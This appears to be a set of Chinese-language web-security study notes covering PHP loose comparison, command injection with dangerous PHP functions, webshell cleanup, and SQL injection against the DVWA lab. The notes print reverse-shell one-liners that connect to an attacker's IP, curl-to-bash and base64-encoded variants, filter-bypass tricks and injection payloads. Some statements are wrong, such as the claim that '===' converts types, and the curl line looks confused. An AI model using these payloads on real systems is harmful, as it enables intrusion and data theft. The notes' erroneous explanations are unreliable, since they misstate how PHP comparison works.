弱类型
弱类型分为两种
·一种是弱等于号 ==
·一种是强等于号 ===
弱等于号 == 在进行比较的时候会进行类型转换,再进行比较
强等于号 === 在进行比较的时候,会先将字符串类型转换为相同类型,再进行比较
如果是比较数字和字符串,或涉及到数字内容的字符串, 字符串会被转换成数值,并按照比较数值来进行比较
命令执行漏洞
·命令执行是一种攻击,通过易受攻击的应用程序在主机操作系统上执行恶意命令。当用户可以控制执行函数中的参数时,可将恶意命令注入到正常命令中,从而导致命令执行漏洞。
·命令注入是常见的漏洞形态。一旦存在命令注入漏洞,攻击者可以在目标系统里执行任意命令。命令注入常用在向系统传入不安全的参数(命令执行参数、http头、cookie)
·命令执行继承Web Server用户的权限,一般都有权限写木马、存木马,查看隐私信息、窃取源码,反弹shell,危害很大
Linux系统的文件通常有三种权限:
- 读权限:r 用数字代表4
- 写权限:w 用数字代表2
- 执行权限:x 用数字代表1
分别对当前的用户、同组其他用户、其他用户进行权限分配
chmod 可以进行权限分配
ps-ef 查看进程
kill 进程号 杀死进程
kill -9 进程号 强制杀死进程
killall 进程名 杀死进程
杀死不死马
ps -ef |grep “木马名”
kill -9 进程号
漏洞利用点
程序过滤不严谨,用户可以将代码注入并执行
高危函数eval()、assert()、preg_replace()、call_user_func()等等
执行命令的函数,参数过滤不严谨,导致直接命令执行
如system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()等等
反引号是shell_exec()的别名
1 | echo `ls` 同等于 shell_exec('ls') |
换行符
%a,%d,%20,|,& 都可以试试
反弹shell
渗透机电脑nc一个端口
1 | nc -lvp 8888 |
靶机执行
1 | bash -i >& /dev/tcp/渗透机的公网IP/8888 0>&1 |
如果没弹成功可以试试
1 | curl 靶机的公网IP:8888 |bash |
或者还可以对
1 | bash -i >& /dev/tcp/渗透机的公网IP/8888 0>&1 |
进行base64加密,然后再
1 | |base64 -d |bash |
也能达到同样的效果
过滤
过滤空格
1 | IFS |
都可以试试
过滤关键字
1 | ca\t fla\g.php 反斜杠绕过 |
SQL注入
首先判断是字符型还是数字型
拿dvwa靶场做测试
1 | 1' and 1='2 |
此时执行的SQL结果其实是
1 | select * from users where user_id='1' and '1'='2'; |
这个结果是恒为假的,1不会等于2,所以不会返回任何数据
如果输入
1 | 1' or '1234' = '1234' |
此时执行的SQL结果其实是
1 | select * from users where user_id='1' or '1234' = '1234'; |
查询条件是恒为真的,所以会返回所有的数据
1 | 1' or 1=1 order by 1# |
查询SQL里的字段数
sql语句为
1 | where userid='1'or 1=1#' |
SQL注入的框里面都是where条件,具体根据题目,dvwa里面是userid
所以SQL语句是这样一种形式
1 | where userid='xxxxxx' //把条件加入到''里面,变成where userid='1' or 1=1#',1=1条件恒成立,所以能查询到所有数据,后面的'拿#注释掉 |
order by 对查询出的数据进行排序
有两个参数
- 字段名
- 排序方式order by 1 是对查询出的数据的第一列进行排序,也可以直接指定列名
1
2order by 1 asc //升序
order by 1 desc //降序
例如mysql中用1和Host是一样的效果
SQL注入的类型
有回显
联合查询
构造联合查询语句,直接查看查询结果
报错注入
构造报错语句
堆查询
多行语句执行,达到想要的目的
无回显
盲注
布尔型/时间型 通过某种手段爆破结果